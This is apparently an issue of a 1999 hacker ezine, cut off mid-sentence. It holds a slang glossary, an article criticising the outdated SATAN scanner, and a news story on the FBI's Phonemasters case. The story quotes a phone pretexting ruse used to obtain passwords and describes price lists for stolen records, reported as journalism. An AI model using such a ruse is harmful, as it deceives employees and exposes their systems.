~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Also released in issue #3. (revised) check that issue for the faq it won't be reprinted unless changed in a big way with the exception of the following excerpt from the FAQ, included to assist first time readers: Some of the stuff related to personal useage and use in this zine are listed below: Some are very useful, others attempt to deny the any possible attempts at eschewing obfuscation by obsucuring their actual definitions. @HWA - see EoA ;-) != - Mathematical notation "is not equal to" or "does not equal" ASC(247) "wavey equals" sign means "almost equal" to. If written an =/= (equals sign with a slash thru it) also means !=, =< is Equal to or less than and => is equal to or greater than (etc, this aint fucking grade school, cripes, don't believe I just typed all that..) AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21) AOL - A great deal of people that got ripped off for net access by a huge clueless isp with sekurity that you can drive buses through, we're not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the least they could try leasing one?? *CC - 1 - Credit Card (as in phraud) 2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's CCC - Chaos Computer Club (Germany) *CON - Conference, a place hackers crackers and hax0rs among others go to swap ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk watch videos and seminars, get drunk, listen to speakers, and last but not least, get drunk. *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker speak he's the guy that breaks into systems and is often (but by no means always) a "script kiddie" see pheer 2 . An edible biscuit usually crappy tasting without a nice dip, I like jalapeno pepper dip or chives sour cream and onion, yum - Ed Ebonics - speaking like a rastafarian or hip dude of colour also wigger Vanilla Ice is a wigger, The Beastie Boys and rappers speak using ebonics, speaking in a dark tongue ... being ereet, see pheer EoC - End of Commentary EoA - End of Article or more commonly @HWA EoF - End of file EoD - End of diatribe (AOL'ers: look it up) FUD - Coined by Unknown and made famous by HNN - "Fear uncertainty and doubt", usually in general media articles not high brow articles such as ours or other HNN affiliates ;) du0d - a small furry animal that scurries over keyboards causing people to type weird crap on irc, hence when someone says something stupid or off topic 'du0d wtf are you talkin about' may be used. *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to define, I think it is best defined as pop culture's view on The Hacker ala movies such as well erhm "Hackers" and The Net etc... usually used by "real" hackers or crackers in a derogatory or slang humorous way, like 'hax0r me some coffee?' or can you hax0r some bread on the way to the table please?' 2 - A tool for cutting sheet metal. HHN - Maybe a bit confusing with HNN but we did spring to life around the same time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper noun means the hackernews site proper. k? k. ;& HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d MFI/MOI- Missing on/from IRC NFC - Depends on context: No Further Comment or No Fucking Comment NFR - Network Flight Recorder (Do a websearch) see 0wn3d NFW - No fuckin'way *0WN3D - You are cracked and owned by an elite entity see pheer *OFCS - Oh for christ's sakes PHACV - And variations of same Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare Alternates: H - hacking, hacktivist C - Cracking C - Cracking V - Virus W - Warfare A - Anarchy (explosives etc, Jolly Roger's Cookbook etc) P - Phreaking, "telephone hacking" PHone fREAKs ... CT - Cyber Terrorism *PHEER - This is what you do when an ereet or elite person is in your presence see 0wn3d *RTFM - Read the fucking manual - not always applicable since some manuals are pure shit but if the answer you seek is indeed in the manual then you should have RTFM you dumb ass. TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0 TBA - To Be Arranged/To Be Announced also 2ba TFS - Tough fucking shit. *w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions from the underground masses. also "w00ten" 2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers) *wtf - what the fuck, where the fuck, when the fuck etc .. *ZEN - The state you reach when you *think* you know everything (but really don't) usually shortly after reaching the ZEN like state something will break that you just 'fixed' or tweaked. @HWA -=- :. .: -=- 01.0 Greets!?!?! yeah greets! w0w huh. - Ed ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Thanks to all in the community for their support and interest but i'd like to see more reader input, help me out here, whats good, what sucks etc, not that I guarantee i'll take any notice mind you, but send in your thoughts anyway. * all the people who sent in cool emails and support FProphet Pyra TwstdPair _NeM_ D----Y Dicentra vexxation sAs72 Spikeman p0lix Vortexia Wyze1 Pneuma Raven Zym0t1c Ken Williams/tattooman ex-of PacketStorm, & Kevin Mitnick kewl sites: + http://blacksun.box.sk. NEW + http://packetstorm.securify.com/ NEW + http://www.securityportal.com/ NEW + http://www.securityfocus.com/ NEW + http://www.hackcanada.com/ + http://www.l0pht.com/ + http://www.2600.com/ + http://www.freekevin.com/ + http://www.genocide2600.com/ + http://www.hackernews.com/ (Went online same time we started issue 1!) + http://www.net-security.org/ + http://www.slashdot.org/ + http://www.freshmeat.net/ + http://www.403-security.org/ + http://ech0.cjb.net/ @HWA 01.1 Last minute stuff, rumours and newsbytes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "What is popular isn't always right, and what is right isn't always popular..." - FProphet '99 +++ When was the last time you backed up your important data? Thanks to myself for providing the info from my wired news feed and others from whatever sources, also to Spikeman for sending in past entries.... - Ed @HWA 01.2 MAILBAG - email and posts from the message board worthy of a read ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (No mail worthy of posting here this issue,) Yeah we have a message board, feel free to use it, remember there are no stupid questions... well there are but if you ask something really dumb we'll just laugh at ya, lets give the message board a bit more use eh? i'll be using a real message board when the hwa-iwa.org domain comes back online (soon) meanwhile the beseen board is still up... ============================================================================== 02.0 From the editor. ~~~~~~~~~~~~~~~~ #include #include #include main() { printf ("Read commented source!\n\n"); /* * Well, there it is. the 13th is our first birthday so expect something * (as yet undetermined) special for our birthday edition, we'll be one * year old, also celebrating birthday's this month are HNN and help * net-security.org, a big happy birthday to our friends at both places * net-security.org'd birthday is on the 27th and HNN is on the 7th... * its been a hell of a year and hopefully things will just get better * with the coming year, what with our server near completion it will be * online soon and will carry a huge phac archive as well as our ezine.. * * HWA also welcomes its newest member twstdpair, to the fold, he's a * member of the main group and has contributed a shell script for this * issue, Everyone say hi... *g* * * Cruciphux */ printf ("EoF.\n"); } Congrats, thanks, articles, news submissions and kudos to us at the main address: hwa@press.usmc.net complaints and all nastygrams and mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to 127.0.0.1, private mail to cruciphux@dok.org danke. C*:. 03.0 Why Your Network is Still Vulnerable ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Brian Martin Your high priced security consultants advised you to or you just read a new book by some whiz-bang security hot shot and they recommended that you run SATAN against your network. You did and now your wondering why your web site was just defaced. New in the Buffer Overflow section is a new article that will hopefully tell you: Why Your Network is Still Vulnerable http://www.hackernews.com/orig/buffero.html Why Your Network is Still Vulnerable By: Brian Martin October 4, 1999 You trust the security experts. Their books and articles about security are often the bibles of System Administrators. Their one paragraph biographies tell you of their ten to twenty years doing network security. They take on impressive titles of neat sounding companies they secure. Why is it these experts often give you the absolute worst advice that could cross your ears? Time and time again, security 'experts' casually recommend that you use or deploy a package like the SATAN security scanner to test your network for vulnerabilities. While few references to SATAN will claim it is the end all solution to computer security, the mere fact people ever recommended the tool is absurd. More disturbing is that over four years after it is released, some continue to reference it in a serious manner. Before I continue, I'd like to qualify and assure you this is not a rant against SATAN's (or any other tool's) authors. The attention and hype that propelled SATAN into the media spotlight is no fault of theirs. Rather, other security 'experts' and/or media outlets cried wolf before it was released and helped create the "demise of the internet" as it was once called. This article will focus on SATAN as an example, simply because of the label it received from so many. Please keep in mind that SATAN is a forefather to most of the commercial scanners you are familiar with. So time progresses and people realize the futility of recommending a utility never designed for intensive and thorough auditing, right? Of course not. Politically Correct Instead of researching options more suitable for these books and articles, many security professionals dutifully recommend SATAN, COPS, Tiger and other out of date utilities. The question is why? Regardless of the answer, it isn't a good enough reason. Security experts have an ethical obligation to recommend viable and solid solutions to their readers and customers. Each and every time they don't, they further validate weak utilities as a method for securing your network. Days after auditing your network with these tools, their network falls victim to an intruder and they can't figure out why. SATAN was last released as version 1.1.1 on March 20, 1995. Obviously, network security concerns move at the speed of light. Any security audit tool not updated hours ago is already behind the times. So how can so many security professionals continue to recommend such an old and outdated tool? The only answer that comes to mind is the concept of being Politically Correct. The media told the masses this was a serious tool and should be regarded as a legitimate network auditing tool. Who would want to go against the grain and say otherwise? No one apparently. Media and mainstream press put SATAN on a pedestal of unseen heights. As a result, several security professionals are still looking up and not seeing the scanner for what it is. Every day that passed with no qualified individuals speaking up, the more it lent to what the media had already said. Four years later, this is the first article to my knowledge that is doing that. Who's on the Bandwagon? If you haven't read many security articles, you may not have run across a reference to SATAN. In case you haven't, lets look at a few of the many media outlets, security professionals and others who tell you to use it. It started in 1995 with a wave of articles and press frenzy surrounding the tool's release. To this day, articles still seem to latch onto the idea SATAN is a viable tool for network security. In 1995, an Oakland Tribune article said: "It's like randomly mailing automatic rifles to 5,000 addresses. I hope some crazy teen doesn't get a hold of one." More recently SATAN has popped back up in more articles. James Glave quoted a Microsoft spokesperson on the use of SATAN in his article "Back Orifice a pain in the..?" (27). In April, Kevin Reichard wrote about the tool in his article "Network Security" (28). Many popular and respected magazines have run articles suggesting the use of SATAN. Among them are Linux Journal (1), Info Security News (2), Security Advisor (3) and Information Security (An ICSA Publication) (4). Most disturbing is that most of the publically available security magazines each push SATAN onto their readers at one point or another. These are the so-called experts, the people that should know the program does little for today's networks. Yet as late as September 1998, three years since SATAN's last release, they are still doing it. Visit your local bookstore and you will be lucky to find more than five or ten security books. Over the past five years over one hundred books focusing on security have crossed these shelves. Interestingly enough, a healthy percentage each make the misplaced recommendation of SATAN as a valuable auditing tool. Worse, the idea of using such outdated and inferior tools has crossed beyond the realm of security books. A few of these books you may have seen are Practical Unix & Internet Security (5), UNIX System Administrator's Companion (6), Halting the Hacker (7), and Internet Besieged (8). Recently, O'Reilly released an entire book devoted to using SATAN to protect your networks. (9) To a degree, this release gave the ultimate validation to the tool's ability to protect your network. Are these books unworthy of attention? No. I would hazard they are being politically correct. To keep on the bandwagon of overhype and undue attention, several security advisories have been released to prepare the net for this tool. One issue remains unresolved though. Why have few advisories followed the various SATAN advisories warning users of other utilities that are far more dangerous to their organization? In 1995 we were flooded with advisories from every response team or security group out there. CERT CA-95:06 (10), CIAC F-19 (11), CIAC F-20 (12), CIAC F-21 (13), CIAC F-23 (14), CIAC F-24 (15), SMS 00130A (16), NASIRC (17), Assist 95-11 (18), Assist 95-19 (19), and Auscert AA-95.03 (20) are just a few of the security advisories warning us of the impact of SATAN. With all of the news articles, books, security advisories and other miscelaneous hype, how could anyone go against the grain and jump off the bandwagon? Satan is as Satan Does Giving these various doomsday media outlets the benefit of the doubt, we could at least expect them to talk to knowledgeable professionals. That leads to two more questions. First, why didn't they do just that? Second, why are some security professionals writing articles recommending it? Some might argue that since it has a point and click graphical user interface, it is easy for the novice admin. I certainly don't buy that. Considering it takes a unix host, perl, x-windows and other resources that are not the easiest to setup, expecting novice admins to use it is not logical. Martin Freiss (author of 'Protecting Networks with SATAN') writes in his introduction about the extent of SATAN protecting your network: "Naturally, SATAN cannot detect every security vulnerability. In particular, there are security problems in the transfer protocols of the Internet and intranets.. True security can be achieved only if all dangers are known, including those that SATAN cannot detect.." Based on these words, I think it fair to say that those people familiar with the tool realizes its limits. Most security professionals when asked if there is an end all be all solution to network security, will answer no such beast exists. On the other hand, they will also tell you that no one tool will be the 'demise of the internet' like some claimed. Falling Short Technically speaking, why shouldn't these organizations and people be recommending SATAN? Let's examine what the program does in the way of vulnerability checking on a remote host. The following list is taken from the documentation. NFS file systems exported to arbitrary hosts NFS file systems exported to unprivileged programs NFS file systems exported via the portmapper NIS password file access from arbitrary hosts Old (i.e. before 8.6.10) sendmail versions REXD access from arbitrary hosts X server access control disabled arbitrary files accessible via TFTP remote shell access from arbitrary hosts writable anonymous FTP home directory First thing we notice is that it scans for ten whole vulnerabilities. Thinking back to the start of this year alone, you should be aware that over one hundred vulnerabilities have been brought to light on the Internet. So the sheer percentage of vulnerabilities doesn't quite cut it. Commercial competitors of SATAN like ISS and Cybercop pride themselves and attempt to gain market share based on the high number of vulnerabilities they scan for (over 500). Since numbers are often misleading, lets look at some real world examples of why SATAN is not a good recommendation. If you are tasked to deal with network security and you run any flavor of unix, you are probably aware of the hundred or so vendor based security advisories for your platform of choice. Some of the more recently exploited vulnerabilities: ToolTalk (rpc.ttdb): Detailed in NAI Advisory #29 (23) Statd (rpc.statd): Detailed in SMS Advisory #186 (24) Calender Manager (rpc.cmsd): Detailed in SMS Advisory #188 (25) Cold Fusion (WinNT): Several problems covered in many advisories (26) wu-ftpd, named (DNS), pop (mail), imap (mail), nisd, autofsd, and more. Comparing the list of vulnerabilities being widely exploited on the Internet today with the list of vulnerabilities SATAN checks for, we can see it does one thing quite well. It falls short. For you NT administrators, seek help elsewhere. Insult to Injury Yes, it gets worse. Not only does the program fall short in assisting with network security analysis, it poses a serious threat to your network security in ways that didn't previously exist. As outlined in CERT CA-95:07 (21), there is a "Password Disclosure" issue with SATAN 1.0, fixed in version 1.1. CIAC F-22 (22) covers another vulnerability that allows unauthorized users to execute commands and gain root access through SATAN. Marc Heuse later posted to Bugtraq regarding SATAN and other widely used security tools having /tmp race conditions allowing unauthorized users to create or overwrite any file on the system. This last vulnerability was found in SATAN 1.1.1, the last version released. No further revisions have been forthcoming so the issue has not been fixed. So What's the Solution? So if tools like SATAN are antiquated, what is a viable freeware solution? Like most tools, there are always alternatives. In the past few years, a more current tool based on SATAN's foundation has arisen, called SAINT (30). As of August 19, 1999, SAINT version 1.4 was released adding more features and security checks that address current security concerns. Among these are checks for well known NT security holes, Operating System fingerprinting, as well as several new Unix vulnerabilities. The continued development and community effort to support this product has turned it into a much better foundation for testing network security than many other tools like it. Due to its active development and continued support for detecting new vulnerabilities, this seems like a great alternative to recommending outdated tools. When possible, don't rely on canned tools at all. They will never come close to the ability and instinct of a qualified security consultant. Conclusion A few dozen cliches come to mind as a way to wrap up this article. I think I have sufficiently shown that everyone from the media to security experts continue to quote SATAN as a way to defend your network. Because the tool has not been updated in several years, it is far behind the times in addressing network security issues. On top of it not being adequate by any stretch of the imagination, it poses further risk to your machines. Despite all this, the recommendation to use inferior technology still comes pouring in. Brian Martin (bmartin@attrition.org) Copyright 1999 @HWA 04.0 'PhoneMasters' Finally Sentenced ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Arik and iwchick A group few people have heard of, dubbed the 'Phone Masters' by the FBI, had three of its members raided four years ago. Using new technology developed by the FBI specifically for this case, 'the magic box' allowed investigators to gather evidence on what has been called one of the greatest cyber-intrusions of all time. The group allegedly had their run of telephone and other networks across the country. The three people apprehended have plead guilty to federal charges of one count of theft and possession of unauthorized calling-card numbers and one count of unauthorized access to computer systems. MSNBC http://www.msnbc.com/news/317947.asp ZD Net http://www.zdnet.com/filters/printerfriendly/0,6061,2345639-2,00.html MSNBC busted a hacker ring FBI investigator Michael Morris stung the ‘Phonemasters’ in their own game By John Simons THE WALL STREET JOURNAL DALLAS, Oct. 1 — In a federal courtroom here, Calvin Cantrell stands silently, broad shoulders slouched. His lawyer reads from a short letter he has written: “My parents taught me good ethics, but I have departed from some of these, lost my way sometimes,” the letter states. “I was 25 and living at home. No job, and no future... . All I ever really wanted was to work with computers. MR. CANTRELL CERTAINLY DID WORK with computers — both his own, and, surreptitiously, those of some of the largest companies in the world. He was part of a ring of hackers that pleaded guilty here to the most extensive illegal breach of the nation’s telecommunications infrastructure in high-tech history. And sitting behind him in court as he was sentenced two weeks ago was the accountant-turned-detective who caught him: Michael Morris. A decade earlier, Mr. Morris, bored with accounting work, left a $96,000 job at Price Waterhouse and enrolled in the FBI academy, at $24,500 a year. Mr. Cantrell’s sentencing was the final act in a five-year drama for Mr. Morris, and secured his reputation as the FBI’s leading computer gumshoe. The tale of Mr. Morris and Mr. Cantrell is among the first cops-and-robber stories of the New Economy, involving, among other things, the first-ever use of an FBI “data tap.” It illustrates how the nation’s law-enforcement agencies are scrambling to reinvent their profession in a frantic effort to keep pace with brilliant and restless young hackers. The story also shows that hacking’s potential harm is far more ominous than theft of telephone credit-card numbers. Mr. Cantrell was part of an eleven-member group dubbed “The Phonemasters” by the FBI. They were all technically adept twenty-somethings expert at manipulating computers that route telephone calls. The hackers had gained access to telephone networks of companies including AT&T Corp., British Telecommunications Inc., GTE Corp., MCI WorldCom (then MCI Communications Corp.), Southwestern Bell, and Sprint Corp. They broke into credit-reporting databases belonging to Equifax Inc. and TRW Inc. They entered Nexis/Lexis databases and systems of Dun & Bradstreet, court records show. The breadth of their monkey-wrenching was staggering; at various times, they could eavesdrop on phone calls, compromise secure databases, and redirect communications at will. They had access to portions of the national power grid, air-traffic-control systems and had hacked their way into a digital cache of unpublished telephone numbers at the White House. The FBI alleges, in evidence filed in U.S. District Court for the Northern District of Texas, that the Phonemasters had even conspired to break into the FBI’s own National Crime Information Center. Unlike less-polished hackers, they often worked in stealth, and avoided bragging about their exploits. Their ultimate goal was not just fun, but profit. Some of the young men, says the FBI, were in the business of selling the credit reports, criminal records, and other data they pilfered from databases. Their customers included private investigators, so-called information brokers and — by way of middlemen — the Sicilian Mafia. According to FBI estimates, the gang accounted for about $1.85 million in business losses. “They could have — temporarily at least — crippled the national phone network. What scares me the most is that these guys, if they had had a handler, whether criminal or state-sponsored, could have done a lot of damage,” says Mr. Morris. “They must have felt like cyber-gods.” With the exception of Mr. Cantrell, none of the defendants in the Phonemasters case would comment on the matter. Others are thought to remain at large. This is the story of Mr. Cantrell and two accomplices, largely put together from federal district court records and FBI interviews. Mr. Morris first learned of the group in August 1994, when he got a phone call from a Dallas private investigator, saying Mr. Cantrell had offered to sell him personal data on anyone he wished. He even offered a price list: personal credit reports were $75; state motor-vehicle records, $25; records from the FBI’s Crime Information Center, $100. On the menu for $500: the address or phone number of any “celebrity/important person.” Mr. Morris immediately opened an investigation. Only 33 years old at the time, he had taken an annual pay cut to join the FBI just five years earlier. He had been a tax consultant at Price Waterhouse, and despised the work. “I was young and making the big bucks, but every morning I would think ‘God, I don’t want to go to work.’ ” Tall, square-jawed and mustachioed, Mr. Morris began working white-collar crimes when he arrived at the Dallas FBI field office. He took on a few hacker cases and realized he liked the challenge. “These guys are not the kind who’ll rob the convenience store then stare right into the security camera,” he says. “Trying to be the Sherlock Holmes of the Internet is hard when the fingerprints on the window can be so easily erased.” Mr. Morris convinced the private investigator to meet with Mr. Cantrell while wearing an audio taping device. After reviewing the tapes, he was certain that he was onto something big. He applied for and received court authority to place a digital number recorder on Mr. Cantrell’s phone lines, which would log numbers of all outgoing calls. It showed that Mr. Cantrell frequently dialed corporate telephone numbers for AT&T, GTE, MCI, Southwestern Bell and Sprint. Mr. Cantrell had also placed calls to two unlisted numbers at the White House, which further piqued Mr. Morris’s interest. So, late that summer, Mr. Morris took an unprecedented step. He began writing a 40-page letter to the FBI’s Washington headquarters, the Department of Justice and the federal district court in Dallas. Recording Mr. Cantrell — now his central suspect — while on the phone wasn’t sufficient for the job that faced him, he believed. Instead, he needed new federal powers. He asked for Washington’s permission to intercept the impulses that traveled along Mr. Cantrell’s phone line as he was using his computer and modem. “It’s one of the hardest techniques to get approved, partly because it’s so intrusive,” says Mr. Morris, who spent the next month or so consulting with federal authorities. “The public citizen in me appreciates that,” he says. Still, the long wait was frustrating. “It took a lot of educating federal attorneys,” he says. Once authorities said yes, Mr. Morris faced another obstacle: The equipment he needed didn’t exist within the FBI. Federal investigators had experimented with a so-called data-intercept device only once before in a New York hacker case a year earlier. It had failed miserably. Mr. Morris and technicians at the FBI’s engineering lab in Quantico, Va., worked together to draft the specifications for the device Mr. Morris wanted. It would need to do the reverse of what a computer’s modem does. A modem takes digital data from a computer and translates it to analog signals that can be sent via phone lines. Mr. Morris’s device would intercept the analog signals on Mr. Cantrell’s phone line and convert those impulses back to digital signals so the FBI’s computers could capture and record each of a suspect’s keystrokes. While waiting for the FBI to fit him with the proper gear, Mr. Morris contacted several of the telephone companies to alert them that they had been victimized. The reception he got wasn’t always warm. “It’s kind of sad. Some of the companies, when you told them they’d had an intrusion, would actually argue with you,” he said. GTE was an exception. Mr. Morris discovered that Bill Oswald, a GTE corporate investigator, had opened his own Phonemasters probe. Mr. Oswald and Mr. Morris began working together and uncovered another of Mr. Cantrell’s schemes: He and some friends had managed to get their hands on some telephone numbers for FBI field offices. They entered the telephone system and forwarded some of those FBI telephones to phone-sex chat lines in Germany, Moldavia and Hong Kong. As a result of the prank, the FBI was billed for about $200,000 in illegal calls. Mr. Morris also learned that on Oct. 11, 1994, Mr. Cantrell hacked GTE’s computer telephone “switch” in Monticeto, Calif., created a fake telephone number and forwarded calls for that number to a sex-chat line in Germany. The FBI isn’t sure how Mr. Cantrell convinced people to call the number, but court records show that Mr. Cantrell received a payment of $2,200 from someone in Germany in exchange for generating call traffic to the phone-sex service. In early December 1994, Mr. Morris’s “analog data intercept device” finally arrived from the FBI’s engineering department. It was a $70,000 prototype which Mr. Morris calls “the magic box.” On Dec. 20, Mr. Morris and other agents opened up their surveillance in an unheated warehouse with a leaky roof. The location was ideal because it sat between Mr. Cantrell’s home and the nearest telephone central office. Mr. Morris and nine other agents took turns overseeing the wiretap and data intercepts. The agents often had to pull a tarp over their workspace to keep rain from damaging the costly equipment. As middle-class families go, the Cantrells seem exemplary. Calvin’s father, Roy, was a retired detective who had once been voted “Policeman of the Year” in Grand Prairie, the suburb west of Dallas where they live. His mother, Carol, taught Latin and English at Grand Prairie High School, where Calvin graduated in 1987 with above-average grades. As a student, he was no recluse. He had a small circle of friends who shared his love of martial arts, video games, and spy movies. Mr. Cantrell’s longtime friend, Brandon McWhorter, says Calvin was always a fun-loving guy, but there was one thing about which he was very serious. Mr. Cantrell certainly did work with computers — both his own, and, surreptitiously, those of some of the largest companies in the world. “He would always talk to me about religion,” says Mr. McWhorter. “He held very strong religious beliefs.” After high school, Mr. Cantrell continued to live at home while taking classes at the University of Texas at Arlington and a local community college. He held a series of odd jobs and hired himself out as a deejay for weddings and corporate parties. Mr. Cantrell balanced, school, work, family and friends even as he began hacking more often. His parents became suspicious, but said nothing. The family had three phones; Calvin stayed on his 15 hours a day. “They’d go in my room and see all the notes and the phone numbers. Even though they couldn’t put it together technically, they knew something was up,” says Mr. Cantrell. “They were kind of in denial... . My parents were pretty soft.” Mrs. Cantrell says Calvin had been so well behaved that she never suspected his computer activities were more than fun and games. “I wish I had known what was going on. Unfortunately, my son was smarter than I was.” (Calvin’s father passed away last year.) At 8:45 on the night of Dec. 21, just four days before Christmas, Mr. Cantrell went online. Using an ill-gotten password, he entered a Sprint Corp. computer, where he raided a database, copying more than 850 calling-card access codes and other files, court records in the case show. The Phonemasters often got passwords and other key information on companies in a low-tech approach called “Dumpster diving,” raiding the trash bins of area phone firms for old technical manuals, phone directories and other company papers. This often allowed Mr. Cantrell to run one of his favorite ruses — passing himself off as a company insider. “I’d call up and say, ‘Hi, I’m Bill Edwards with systems administration.’ ... I’d chat with them for a while, then I’d say ‘We’re doing some network checkups today. Can you log off of your computer, then tell me every character you’re typing as you log back on?’ A lot of people fell for that,” Mr. Cantrell says. After hacking into the Sprint database that evening, Mr. Cantrell talked to another hacker, Corey Lindsley, over the phone. He’d “met” Mr. Lindsley, and another hacker, John Bosanac, in 1993 while surfing the murky world of hacker bulletin boards. Mr. Cantrell then sent the copied files to Mr. Lindsley, who was a student at the University of Pennsylvania in Philadelphia. Mr. Morris’s equipment captured everything — voice and data. It was an FBI first. “We’re sitting in this place that looked liked a bomb pit, but the atmosphere was really exciting,” says Mr. Morris. “We were ecstatic.” As the days passed, the FBI wiretap generated stacks upon stacks of audiotapes and data transcripts. Some was just idle talk among friends, the occasional call to finalize dinner plans, lots of workaday chatter. But the incriminating evidence mounted. “It’s great, you know. I really love fraud,” joked Mr. Bosanac, a Californian who was musing with Mr. Cantrell about the various technical methods of using other people’s cellular telephone accounts to place free calls. “Fraud is a beautiful thing.” Family conversations even entered the investigation. On Jan. 7, for instance, Mr. Cantrell called his mother from a friend’s house and asked her find an MCI Corp. manual on his shelf. He then asked her to read him a set of directions for accessing MCI’s V-NET computer system. Mrs. Cantrell read the material but asked her son whether he was supposed to have the book, citing warnings that stated its contents were restricted to MCI employees. Mr. Cantrell just avoided his mother’s question. The FBI data-tap captured every word. Still, the process took its toll on the FBI team, especially coming during the holidays. “It was stressful that the wiretap was going 24 hours a day, seven days a week. I had to write up the legal documents and it’s tough making people work through Christmas,” Mr. Morris said. On top of that, he had to keep records of his findings, and every ten days he had to reapply to the court to prove that his wiretap was yielding evidence. By late January, the FBI had begun to get a clear profile of Mr. Cantrell and his hacker friends. Mr. Lindsley, it appeared, was the group’s acerbic leader, directing much of the hacking activity. Over phone lines, the FBI heard him bragging about how he had given a Pennsylvania police department “the pager treatment” in retaliation for a speeding ticket he received. Mr. Lindsley had caused the police department’s telephone number to appear on thousands of pagers across the country. The resulting flood of incoming calls, Mr. Lindsley bragged, would surely crash the department’s phone system. They also enjoyed collecting information about film stars, musicians and other famous people. Mr. Cantrell has admitted that he broke into President Clinton’s mother’s telephone billing records in Arkansas to obtain a list of unpublished White House numbers. The men, says the FBI, even made harassing phone calls to rock star Courtney Love and former child actor Danny Bonaduce using pilfered numbers. They weren’t without fear of getting caught. On the evening of Jan. 17, for instance, there was a clicking on the phone line as Messrs. Bosanac, Cantrell, and Lindsley shared a three-way conference call. “What the hell happened?” asked Mr. Bosanac, according to an FBI transcript of the conversation. “That was the FBI tapping in,” laughed Mr. Cantrell. “Do you know how ironic that’s gonna be when they play those tapes in court?” Mr. Lindsley said. “When they play that tape in court and they got you saying it was the FBI tapping in?” On Jan. 18, the FBI overheard Messrs. Cantrell, Bosanac and Lindsley on another conference call. With the other two men giving directions, Mr. Cantrell dialed his computer into Southwestern Bell’s network and copied a database of unlisted phone numbers. The three men then discussed plans to write a computer program that could automatically download access codes and calling-card numbers from various telephone systems. They also talked about the chance that the FBI would one day track them down. “Just remember, nobody f— rats anybody out,” said Mr. Lindsley to the others. “No deals.” “Yeah, no deals is right,” replied Mr. Bosanac. “No deals. I’m serious. I don’t care what your f— lawyers tell you,” said Mr. Lindsley. Mr. Cantrell said nothing. Later that morning, between 5:09 a.m. and 7:36 a.m., Mr. Cantrell entered Sprint’s computer system and downloaded about 850 Sprint calling-card codes. He then transferred those codes to a man in Canada. The codes would allow anyone who purchased them to place free international phone calls. Mr. Morris would later learn that a contact in Canada paid Mr. Cantrell $2 apiece for each code, court records show. The Phonemasters most likely did not know — or care — where the codes ended up, but the FBI traced them and found some ended up in the hands of a Sicilian Mafia operative in Switzerland. On Jan. 23, while probing a U S West telephone database, Mr. Cantrell, Mr. Bosanac, Mr. Lindsley and others stumbled over a list of telephone lines that were being monitored by law enforcement. On a lark, they decided to call one of the people — a suspected drug dealer, says Mr. Morris — and let him know his pager was being traced by the police. On Jan. 27, the group was clearly feeling paranoia about being caught, prompting Mr. Lindsley to tell his accomplices to pull as many Sprint codes as quickly as they could. Mr. Cantrell began to have reservations. “What if I stopped before all of y’all?” Mr. Cantrell asked Mr. Lindsley. “Would you applaud my efforts?” “No,” said Mr. Lindsley. “I don’t think there’s any reason to stop. What are you worried about?” “Uh, I’m not worried about anything. I’m just saying, uhm. There might ... There might come a time here where I don’t have time for this.” He added a little later: “I, you know, really like it. But, I don’t know, I just ... Eventually, I don’t see myself doing a lot of illegal things.” Mr. Lindsley continued to prod Mr. Cantrell to speed up the download of stolen codes by spending more time online and using two phones. “I’m telling you, you run two lines around the clock,” Mr. Lindsley said. “You can’t run them around the clock,” said Mr. Cantrell. “Why not?” “Oh, come on. I think that’s pushing it too hard.” “I think you just got a weak stomach there, boy.” By late February, things began to get tense. One of Mr. Cantrell’s hacker friends informed him that his number had shown up in a database of phone numbers being monitored by the FBI. In all the excitement of burglarizing databases and rerouting phone calls, the Phonemasters had neglected to check their own phone lines for any signs that law enforcement might be listening in. Mr. Morris hastily arranged for an FBI raid. On Feb. 22, 1995, agents raided Mr. Cantrell’s home, Mr. Lindsley’s college dorm room, and burst into Mr. Bosanac’s bedroom in San Diego. For Mr. Morris, the climactic raid was only the start of a long battle to bring the hackers to justice. Because of the complicated nature of his evidence gathering, it took him more than two years to compile the most salient portions of the wiretap transcripts and data-tap evidence. “All the documents and tapes from this case could fill a 20-by-20 room,” Mr. Morris explains. “And at the time, I was the only computer investigator for all of Texas.” In the meantime, as federal prosecutors slowly geared up for a trial, Mr. Cantrell tried to get on with his life. “I spent the first few weeks after the raid being paranoid and wondering what would happen,” he says. Occasionally, Mr. Morris and other agents would call him, asking questions about some of the systems he had hacked. By the summer of 1995, at the urging of his mother, Mr. Cantrell started attending church again. He scored the first in a string of professional computing jobs, doing systems-administration work for a company called Lee Datamail in Dallas. He neglected to tell his employers about the FBI case. “It’s been mental torture for the last four years, not knowing,” says Mr. Cantrell. “Can I go to school, move to another state? That kind of thing messes with your head.” Over time, Mr. Cantrell says he had come to seriously regret what he had done and the $9,000 he says he made from selling codes wasn’t worth the trouble. “Looking back, it was all crazy. It was an obsession. I wanted to see how much I could conquer and a little power went to my head.” Mr. Cantrell notes that he has since tried to make amends, even helping the phone companies plug their security holes and helping the FBI gather more information on some of the group’s members who haven’t yet been apprehended. The matter finally seemed near conclusion this March when Mr. Morris was able to play “a couple of choice tapes” in separate meetings with Messrs. Cantrell, Bosanac and Lindsley. Afterward, all three agreed to plead guilty to federal charges of one count of theft and possession of unauthorized calling-card numbers and one count of unauthorized access to computer systems. Chief Judge Jerry Buchmeyer ordered a 